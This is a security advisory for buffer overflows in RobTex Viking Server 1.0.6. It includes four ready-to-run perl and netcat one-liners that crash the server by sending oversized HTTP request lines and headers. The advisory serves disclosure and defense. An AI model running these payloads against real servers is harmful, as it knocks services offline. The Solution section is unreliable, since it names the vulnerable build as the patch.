Robotex Viking Server Buffer Overflow Vulnerability

BID:1614

Info

Robotex Viking Server Buffer Overflow Vulnerability

Bugtraq ID: 1614
Class: Boundary Condition Error
CVE: CVE-2000-0775
Remote: Yes
Local: Yes
Published: Aug 28 2000 12:00AM
Updated: Jul 11 2009 02:56AM
Credit: Posted to Bugtraq on August 28, 2000 by Aviram Jenik <[email protected]>.
Vulnerable: RobTex Viking Server 1.0.6 Build 355
- Microsoft Windows 95
- Microsoft Windows NT 4.0
Not Vulnerable: RobTex Viking Server 1.0.6 Build 370
- Microsoft Windows 95
- Microsoft Windows NT 4.0

Discussion

Robotex Viking Server Buffer Overflow Vulnerability

A number of unchecked buffers exists in Robotex Viking Server. This enables a malicious user to either crash the application or execute arbitrary code, depending on the data supplied.

Exploit / POC

Robotex Viking Server Buffer Overflow Vulnerability

The following commands will crash Viking Server:

1)
GET [x11765] HTTP/1.1&lt;enter&gt;&lt;enter&gt;
(Cmd: perl -e "print \"GET @{['x'x11765]} HTTP/1.1\n\n\""|nc 127.1 80)

2)
GET / HTTP/1.1&lt;enter&gt;
Unless-Modified-Since: [x14765]&lt;enter&gt;&lt;enter&gt;
(Cmd: perl -e "print \"GET / HTTP/1.1\nUnless-Modified-Since: @{['x'x14765]}\n\n\""|nc 127.1 80)

3)
GET / HTTP/1.1&lt;enter&gt;
If-Range: [x14765]&lt;enter&gt;&lt;enter&gt;
(Cmd: perl -e "print \"GET / HTTP/1.1\nIf-Range: @{['x'x14765]}\n\n\""|nc 127.1 80)

4)
GET / HTTP/1.1&lt;enter&gt;
If-Modified-Since: [x14765]&lt;enter&gt;&lt;enter&gt;
(Cmd: perl -e "print \"GET / HTTP/1.1\nIf-Modified-Since: @{['x'x14765]}\n\n\""|nc 127.1 80)

WildCoyote &lt;[email protected]&gt; has released the following exploit:

Solution / Fix

Robotex Viking Server Buffer Overflow Vulnerability

Solution:
Robotex has released the following patch which eliminates the vulnerability:


RobTex Viking Server 1.0.6 Build 355

References

Robotex Viking Server Buffer Overflow Vulnerability

References:
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